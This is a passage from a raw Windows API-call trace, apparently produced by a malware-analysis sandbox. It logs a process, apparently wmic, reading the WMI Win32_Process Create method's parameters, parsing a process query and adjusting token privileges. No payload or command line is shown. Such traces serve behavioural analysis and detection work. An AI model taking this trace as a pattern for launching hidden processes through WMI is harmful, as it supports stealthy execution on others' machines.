lpString2="Create", cchCount2=6) returned 2 [0089.750] GetCurrentThreadId () returned 0xaf0 [0089.751] ??0CHString@@QEAA@XZ () returned 0x1aeae8 [0089.751] IWbemClassObject:Get (in: This=0x1f1a340, wszName="Description", lFlags=0, pVal=0x1aeaf8*(varType=0x0, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x2b2528, varVal2=0x3ba310), pType=0x0, plFlavor=0x0 | out: pVal=0x1aeaf8*(varType=0x8, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1="The Create method creates a new process. It returns an integer value of 0 if the process was successfully created, and any other number to indicate an error.", varVal2=0x3ba310), pType=0x0, plFlavor=0x0) returned 0x0 [0089.751] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.751] IWbemClassObject:Get (in: This=0x1f1a340, wszName="Parameters", lFlags=0, pVal=0x1aec70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x10002), pType=0x0, plFlavor=0x0 | out: pVal=0x1aec70*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3a40*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x2ba620, rgsabound=((cElements=0x4, lLbound=0))), varVal2=0x10002), pType=0x0, plFlavor=0x0) returned 0x0 [0089.751] IWbemClassObject:Get (in: This=0x1f1a340, wszName="VerbType", lFlags=0, pVal=0x1aecb0*(varType=0x0, wReserved1=0x24, wReserved2=0x0, wReserved3=0x0, varVal1=0x1af820, varVal2=0x1aee80), pType=0x0, plFlavor=0x0 | out: pVal=0x1aecb0*(varType=0x3, wReserved1=0x24, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x1aee80), pType=0x0, plFlavor=0x0) returned 0x0 [0089.751] IWbemClassObject:Get (in: This=0x1f1a340, wszName="Derivation", lFlags=0, pVal=0x1aecc8*(varType=0x0, wReserved1=0xf5e1, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aecc8*(varType=0x8, wReserved1=0xf5e1, wReserved2=0x7fe, wReserved3=0x0, varVal1="Create", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.751] lstrlenW (lpString="Create") returned 6 [0089.751] lstrlenW (lpString="Create") returned 6 [0089.752] SafeArrayGetLBound (in: psa=0x2b3a40, nDim=0x1, plLbound=0x1aec04 | out: plLbound=0x1aec04) returned 0x0 [0089.752] SafeArrayGetUBound (in: psa=0x2b3a40, nDim=0x1, plUbound=0x1aec08 | out: plUbound=0x1aec08) returned 0x0 [0089.752] SafeArrayGetElement (in: psa=0x2b3a40, rgIndices=0x1aebe8, pv=0x1aebf8 | out: pv=0x1aebf8) returned 0x0 [0089.752] IWbemClassObject:Get (in: This=0x1f23790, wszName="ParaId", lFlags=0, pVal=0x1aece0*(varType=0x0, wReserved1=0xffc8, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aece0*(varType=0x8, wReserved1=0xffc8, wReserved2=0x0, wReserved3=0x0, varVal1="CommandLine", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.752] IWbemClassObject:Get (in: This=0x1f23790, wszName="Type", lFlags=0, pVal=0x1aee50*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x3bbbf0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aee50*(varType=0x8, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1="STRING", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.752] IWbemClassObject:Get (in: This=0x1f23790, wszName="Default", lFlags=0, pVal=0x1aecf8*(varType=0x0, wReserved1=0xffd3, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aecf8*(varType=0x1, wReserved1=0xffd3, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.752] GetCurrentThreadId () returned 0xaf0 [0089.752] ??0CHString@@QEAA@XZ () returned 0x1ae8e8 [0089.752] IWbemClassObject:Get (in: This=0x1f23790, wszName="Qualifiers", lFlags=0, pVal=0x1ae958*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x48, varVal2=0x50), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae958*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3a80*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x255fd0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x50), pType=0x0, plFlavor=0x0) returned 0x0 [0089.752] SafeArrayGetLBound (in: psa=0x2b3a80, nDim=0x1, plLbound=0x1ae934 | out: plLbound=0x1ae934) returned 0x0 [0089.752] SafeArrayGetUBound (in: psa=0x2b3a80, nDim=0x1, plUbound=0x1ae91c | out: plUbound=0x1ae91c) returned 0x0 [0089.752] SafeArrayGetElement (in: psa=0x2b3a80, rgIndices=0x1ae900, pv=0x1ae8f8 | out: pv=0x1ae8f8) returned 0x0 [0089.752] IWbemClassObject:Get (in: This=0x1f25520, wszName="Name", lFlags=0, pVal=0x1ae940*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x77c93518, varVal2=0x3b0000), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae940*(varType=0x8, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1="In", varVal2=0x3b0000), pType=0x0, plFlavor=0x0) returned 0x0 [0089.752] IWbemClassObject:Get (in: This=0x1f25520, wszName="QualifierValue", lFlags=0, pVal=0x1ae970*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aea60, varVal2=0x3b0298), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae970*(varType=0x2008, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3ac0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x256040, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x3b0298), pType=0x0, plFlavor=0x0) returned 0x0 [0089.752] SafeArrayGetLBound (in: psa=0x2b3ac0, nDim=0x1, plLbound=0x1ae924 | out: plLbound=0x1ae924) returned 0x0 [0089.752] SafeArrayGetUBound (in: psa=0x2b3ac0, nDim=0x1, plUbound=0x1ae92c | out: plUbound=0x1ae92c) returned 0x0 [0089.752] lstrlenW (lpString="CIMTYPE") returned 7 [0089.753] lstrlenW (lpString="In") returned 2 [0089.753] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="CIMTYPE", cchCount2=7) returned 3 [0089.753] lstrlenW (lpString="read") returned 4 [0089.753] lstrlenW (lpString="In") returned 2 [0089.753] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="read", cchCount2=4) returned 1 [0089.753] lstrlenW (lpString="write") returned 5 [0089.753] lstrlenW (lpString="In") returned 2 [0089.753] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="write", cchCount2=5) returned 1 [0089.753] lstrlenW (lpString="In") returned 2 [0089.753] lstrlenW (lpString="In") returned 2 [0089.753] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="In", cchCount2=2) returned 2 [0089.753] SafeArrayGetElement (in: psa=0x2b3ac0, rgIndices=0x1ae8f0, pv=0x1ae910 | out: pv=0x1ae910) returned 0x0 [0089.753] lstrlenW (lpString="true") returned 4 [0089.753] lstrlenW (lpString="True") returned 4 [0089.753] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="True", cchCount1=4, lpString2="true", cchCount2=4) returned 2 [0089.753] IUnknown:Release (This=0x1f25520) returned 0x1 [0089.753] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.754] IUnknown:Release (This=0x1f23790) returned 0x1 [0089.754] SafeArrayGetElement (in: psa=0x2b3a40, rgIndices=0x1aebe8, pv=0x1aebf8 | out: pv=0x1aebf8) returned 0x0 [0089.755] IWbemClassObject:Get (in: This=0x1f241a0, wszName="ParaId", lFlags=0, pVal=0x1aece0*(varType=0x0, wReserved1=0xffc8, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ba5f8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aece0*(varType=0x8, wReserved1=0xffc8, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentDirectory", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.755] IWbemClassObject:Get (in: This=0x1f241a0, wszName="Type", lFlags=0, pVal=0x1aee50*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ba658, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aee50*(varType=0x8, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1="STRING", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.755] IWbemClassObject:Get (in: This=0x1f241a0, wszName="Default", lFlags=0, pVal=0x1aecf8*(varType=0x0, wReserved1=0xffd3, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aecf8*(varType=0x1, wReserved1=0xffd3, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.755] GetCurrentThreadId () returned 0xaf0 [0089.755] ??0CHString@@QEAA@XZ () returned 0x1ae8e8 [0089.755] IWbemClassObject:Get (in: This=0x1f241a0, wszName="Qualifiers", lFlags=0, pVal=0x1ae958*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x48, varVal2=0x50), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae958*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3a80*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x255fd0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x50), pType=0x0, plFlavor=0x0) returned 0x0 [0089.755] SafeArrayGetLBound (in: psa=0x2b3a80, nDim=0x1, plLbound=0x1ae934 | out: plLbound=0x1ae934) returned 0x0 [0089.755] SafeArrayGetUBound (in: psa=0x2b3a80, nDim=0x1, plUbound=0x1ae91c | out: plUbound=0x1ae91c) returned 0x0 [0089.755] SafeArrayGetElement (in: psa=0x2b3a80, rgIndices=0x1ae900, pv=0x1ae8f8 | out: pv=0x1ae8f8) returned 0x0 [0089.755] IWbemClassObject:Get (in: This=0x1f25520, wszName="Name", lFlags=0, pVal=0x1ae940*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x77c93518, varVal2=0x3b0000), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae940*(varType=0x8, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1="In", varVal2=0x3b0000), pType=0x0, plFlavor=0x0) returned 0x0 [0089.756] IWbemClassObject:Get (in: This=0x1f25520, wszName="QualifierValue", lFlags=0, pVal=0x1ae970*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aea60, varVal2=0x3b0298), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae970*(varType=0x2008, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3ac0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x256040, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x3b0298), pType=0x0, plFlavor=0x0) returned 0x0 [0089.756] SafeArrayGetLBound (in: psa=0x2b3ac0, nDim=0x1, plLbound=0x1ae924 | out: plLbound=0x1ae924) returned 0x0 [0089.756] SafeArrayGetUBound (in: psa=0x2b3ac0, nDim=0x1, plUbound=0x1ae92c | out: plUbound=0x1ae92c) returned 0x0 [0089.756] lstrlenW (lpString="CIMTYPE") returned 7 [0089.756] lstrlenW (lpString="In") returned 2 [0089.756] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="CIMTYPE", cchCount2=7) returned 3 [0089.756] lstrlenW (lpString="read") returned 4 [0089.756] lstrlenW (lpString="In") returned 2 [0089.756] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="read", cchCount2=4) returned 1 [0089.756] lstrlenW (lpString="write") returned 5 [0089.756] lstrlenW (lpString="In") returned 2 [0089.756] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="write", cchCount2=5) returned 1 [0089.756] lstrlenW (lpString="In") returned 2 [0089.756] lstrlenW (lpString="In") returned 2 [0089.756] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="In", cchCount2=2) returned 2 [0089.756] SafeArrayGetElement (in: psa=0x2b3ac0, rgIndices=0x1ae8f0, pv=0x1ae910 | out: pv=0x1ae910) returned 0x0 [0089.757] IUnknown:Release (This=0x1f25520) returned 0x1 [0089.757] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.757] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0089.757] SysStringLen (param_1="CommandLine") returned 0xb [0089.757] SysStringLen (param_1="CommandLine") returned 0xb [0089.757] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0089.757] IUnknown:Release (This=0x1f241a0) returned 0x1 [0089.757] SafeArrayGetElement (in: psa=0x2b3a40, rgIndices=0x1aebe8, pv=0x1aebf8 | out: pv=0x1aebf8) returned 0x0 [0089.757] IWbemClassObject:Get (in: This=0x1f24990, wszName="ParaId", lFlags=0, pVal=0x1aece0*(varType=0x0, wReserved1=0xffc8, wReserved2=0x0, wReserved3=0x0, varVal1=0x238d18, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aece0*(varType=0x8, wReserved1=0xffc8, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessStartupInformation", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.758] IWbemClassObject:Get (in: This=0x1f24990, wszName="Type", lFlags=0, pVal=0x1aee50*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ba718, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aee50*(varType=0x8, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1="OBJECT", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.758] IWbemClassObject:Get (in: This=0x1f24990, wszName="Default", lFlags=0, pVal=0x1aecf8*(varType=0x0, wReserved1=0xffd3, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aecf8*(varType=0x1, wReserved1=0xffd3, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.758] ??0CHString@@QEAA@XZ () returned 0x1ae8e8 [0089.758] IWbemClassObject:Get (in: This=0x1f24990, wszName="Qualifiers", lFlags=0, pVal=0x1ae958*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x48, varVal2=0x50), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae958*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3a80*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x255fd0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x50), pType=0x0, plFlavor=0x0) returned 0x0 [0089.758] SafeArrayGetLBound (in: psa=0x2b3a80, nDim=0x1, plLbound=0x1ae934 | out: plLbound=0x1ae934) returned 0x0 [0089.758] SafeArrayGetUBound (in: psa=0x2b3a80, nDim=0x1, plUbound=0x1ae91c | out: plUbound=0x1ae91c) returned 0x0 [0089.758] SafeArrayGetElement (in: psa=0x2b3a80, rgIndices=0x1ae900, pv=0x1ae8f8 | out: pv=0x1ae8f8) returned 0x0 [0089.758] IWbemClassObject:Get (in: This=0x1f25520, wszName="Name", lFlags=0, pVal=0x1ae940*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x77c93518, varVal2=0x3b0000), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae940*(varType=0x8, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1="In", varVal2=0x3b0000), pType=0x0, plFlavor=0x0) returned 0x0 [0089.759] IWbemClassObject:Get (in: This=0x1f25520, wszName="QualifierValue", lFlags=0, pVal=0x1ae970*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aea60, varVal2=0x3b0298), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae970*(varType=0x2008, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3ac0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x256040, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x3b0298), pType=0x0, plFlavor=0x0) returned 0x0 [0089.759] SafeArrayGetLBound (in: psa=0x2b3ac0, nDim=0x1, plLbound=0x1ae924 | out: plLbound=0x1ae924) returned 0x0 [0089.759] SafeArrayGetUBound (in: psa=0x2b3ac0, nDim=0x1, plUbound=0x1ae92c | out: plUbound=0x1ae92c) returned 0x0 [0089.759] lstrlenW (lpString="CIMTYPE") returned 7 [0089.759] lstrlenW (lpString="In") returned 2 [0089.759] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="CIMTYPE", cchCount2=7) returned 3 [0089.759] lstrlenW (lpString="read") returned 4 [0089.759] lstrlenW (lpString="In") returned 2 [0089.759] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="read", cchCount2=4) returned 1 [0089.759] lstrlenW (lpString="write") returned 5 [0089.759] lstrlenW (lpString="In") returned 2 [0089.759] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="write", cchCount2=5) returned 1 [0089.759] lstrlenW (lpString="In") returned 2 [0089.759] lstrlenW (lpString="In") returned 2 [0089.759] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="In", cchCount1=2, lpString2="In", cchCount2=2) returned 2 [0089.759] SafeArrayGetElement (in: psa=0x2b3ac0, rgIndices=0x1ae8f0, pv=0x1ae910 | out: pv=0x1ae910) returned 0x0 [0089.759] IUnknown:Release (This=0x1f25520) returned 0x1 [0089.760] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.760] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0089.760] SysStringLen (param_1="CommandLine") returned 0xb [0089.760] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0089.760] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0089.760] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0089.760] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0089.760] IUnknown:Release (This=0x1f24990) returned 0x1 [0089.760] SafeArrayGetElement (in: psa=0x2b3a40, rgIndices=0x1aebe8, pv=0x1aebf8 | out: pv=0x1aebf8) returned 0x0 [0089.760] IWbemClassObject:Get (in: This=0x1f25150, wszName="ParaId", lFlags=0, pVal=0x1aece0*(varType=0x0, wReserved1=0xffc8, wReserved2=0x0, wReserved3=0x0, varVal1=0x2a39e8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aece0*(varType=0x8, wReserved1=0xffc8, wReserved2=0x0, wReserved3=0x0, varVal1="ProcessId", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.760] IWbemClassObject:Get (in: This=0x1f25150, wszName="Type", lFlags=0, pVal=0x1aee50*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x2ba7a8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aee50*(varType=0x8, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1="UINT32", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.761] IWbemClassObject:Get (in: This=0x1f25150, wszName="Default", lFlags=0, pVal=0x1aecf8*(varType=0x0, wReserved1=0xffd3, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1aecf8*(varType=0x1, wReserved1=0xffd3, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0089.761] ??0CHString@@QEAA@XZ () returned 0x1ae8e8 [0089.761] IWbemClassObject:Get (in: This=0x1f25150, wszName="Qualifiers", lFlags=0, pVal=0x1ae958*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x48, varVal2=0x50), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae958*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3a80*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x255fd0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x50), pType=0x0, plFlavor=0x0) returned 0x0 [0089.761] SafeArrayGetLBound (in: psa=0x2b3a80, nDim=0x1, plLbound=0x1ae934 | out: plLbound=0x1ae934) returned 0x0 [0089.761] SafeArrayGetUBound (in: psa=0x2b3a80, nDim=0x1, plUbound=0x1ae91c | out: plUbound=0x1ae91c) returned 0x0 [0089.761] SafeArrayGetElement (in: psa=0x2b3a80, rgIndices=0x1ae900, pv=0x1ae8f8 | out: pv=0x1ae8f8) returned 0x0 [0089.761] IWbemClassObject:Get (in: This=0x1f25520, wszName="Name", lFlags=0, pVal=0x1ae940*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x77c93518, varVal2=0x3b0000), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae940*(varType=0x8, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1="Out", varVal2=0x3b0000), pType=0x0, plFlavor=0x0) returned 0x0 [0089.761] IWbemClassObject:Get (in: This=0x1f25520, wszName="QualifierValue", lFlags=0, pVal=0x1ae970*(varType=0x0, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aea60, varVal2=0x3b0298), pType=0x0, plFlavor=0x0 | out: pVal=0x1ae970*(varType=0x2008, wReserved1=0x3b, wReserved2=0x0, wReserved3=0x0, varVal1=0x2b3ac0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x256040, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x3b0298), pType=0x0, plFlavor=0x0) returned 0x0 [0089.761] SafeArrayGetLBound (in: psa=0x2b3ac0, nDim=0x1, plLbound=0x1ae924 | out: plLbound=0x1ae924) returned 0x0 [0089.761] SafeArrayGetUBound (in: psa=0x2b3ac0, nDim=0x1, plUbound=0x1ae92c | out: plUbound=0x1ae92c) returned 0x0 [0089.761] lstrlenW (lpString="CIMTYPE") returned 7 [0089.762] lstrlenW (lpString="Out") returned 3 [0089.762] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="CIMTYPE", cchCount2=7) returned 3 [0089.762] lstrlenW (lpString="read") returned 4 [0089.762] lstrlenW (lpString="Out") returned 3 [0089.762] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="read", cchCount2=4) returned 1 [0089.762] lstrlenW (lpString="write") returned 5 [0089.762] lstrlenW (lpString="Out") returned 3 [0089.762] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="write", cchCount2=5) returned 1 [0089.762] lstrlenW (lpString="In") returned 2 [0089.762] lstrlenW (lpString="Out") returned 3 [0089.762] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="In", cchCount2=2) returned 3 [0089.762] lstrlenW (lpString="Out") returned 3 [0089.762] lstrlenW (lpString="Out") returned 3 [0089.762] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Out", cchCount1=3, lpString2="Out", cchCount2=3) returned 2 [0089.762] SafeArrayGetElement (in: psa=0x2b3ac0, rgIndices=0x1ae8f0, pv=0x1ae910 | out: pv=0x1ae910) returned 0x0 [0089.762] IUnknown:Release (This=0x1f25520) returned 0x1 [0089.762] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.763] SysStringLen (param_1="ProcessId") returned 0x9 [0089.763] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0089.763] SysStringLen (param_1="ProcessId") returned 0x9 [0089.763] SysStringLen (param_1="ProcessStartupInformation") returned 0x19 [0089.763] SysStringLen (param_1="CurrentDirectory") returned 0x10 [0089.763] SysStringLen (param_1="ProcessId") returned 0x9 [0089.763] IUnknown:Release (This=0x1f25150) returned 0x1 [0089.763] IUnknown:Release (This=0x1f1a340) returned 0x1 [0089.763] IUnknown:Release (This=0x1f17350) returned 0x0 [0089.763] ??1CHString@@QEAA@XZ () returned 0x7fee550482c [0089.764] lstrlenW (lpString="Create") returned 6 [0089.764] wcstok (in: _String="Select * from Win32_Process", _Delimiter=" ", _Context=0xffffffffffffff80 | out: _String="Select", _Context=0xffffffffffffff80) returned="Select" [0089.764] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*" [0089.764] lstrlenW (lpString="FROM") returned 4 [0089.764] lstrlenW (lpString="*") returned 1 [0089.764] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0089.764] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x56ffff0000 | out: _String=0x0, _Context=0x56ffff0000) returned="from" [0089.764] lstrlenW (lpString="FROM") returned 4 [0089.764] lstrlenW (lpString="from") returned 4 [0089.764] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0089.764] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0xd00180033 | out: _String=0x0, _Context=0xd00180033) returned="Win32_Process" [0089.765] lstrlenW (lpString="SET") returned 3 [0089.765] lstrlenW (lpString="CAll") returned 4 [0089.765] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="SET", cchCount2=3) returned 1 [0089.765] lstrlenW (lpString="CREATE") returned 6 [0089.765] lstrlenW (lpString="CAll") returned 4 [0089.765] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="CREATE", cchCount2=6) returned 1 [0089.765] WbemLocator:IUnknown:AddRef (This=0x1ee1390) returned 0x3 [0089.765] lstrlenW (lpString="") returned 0 [0089.765] lstrlenW (lpString="YKYD69Q") returned 7 [0089.765] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2="", cchCount2=0) returned 3 [0089.765] lstrlenW (lpString="YKYD69Q") returned 7 [0089.765] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x1afa80 | out: TokenHandle=0x1afa80*=0x230) returned 1 [0089.765] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1afa78 | out: TokenInformation=0x0, ReturnLength=0x1afa78) returned 0 [0089.765] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x3, TokenInformation=0x3d1bd0, TokenInformationLength=0x40, ReturnLength=0x1afa78 | out: TokenInformation=0x3d1bd0, ReturnLength=0x1afa78) returned 1 [0089.765] AdjustTokenPrivileges (in: TokenHandle=0x230, DisableAllPrivileges=0, NewState=0x3d1bd0*(PrivilegesCount=0x5, Privileges=((Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=3, Attributes=0x19), (Luid.LowPart=0x2, Luid.HighPart=33, Attributes=0x0), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=903055577, Attributes=0x8000008e))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0089.765] CloseHandle (hObject=0x230) returned 1 [0089.765] lstrlenW (lpString="GET") returned 3 [0089.765] lstrlenW (lpString="CAll") returned 4 [0089.765] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="GET", cchCount2=3) returned 1 [0089.766] lstrlenW (lpString="LIST") returned 4 [0089.766] lstrlenW (lpString="CAll") returned 4 [0089.766] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", cchCount1=4, lpString2="LIST", cchCount2=4) returned 1 [0089.766] lstrlenW (lpString="SET") returned 3 [0089.766] lstrlenW (lpString="CAll") returned 4 [0089.766] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CAll", 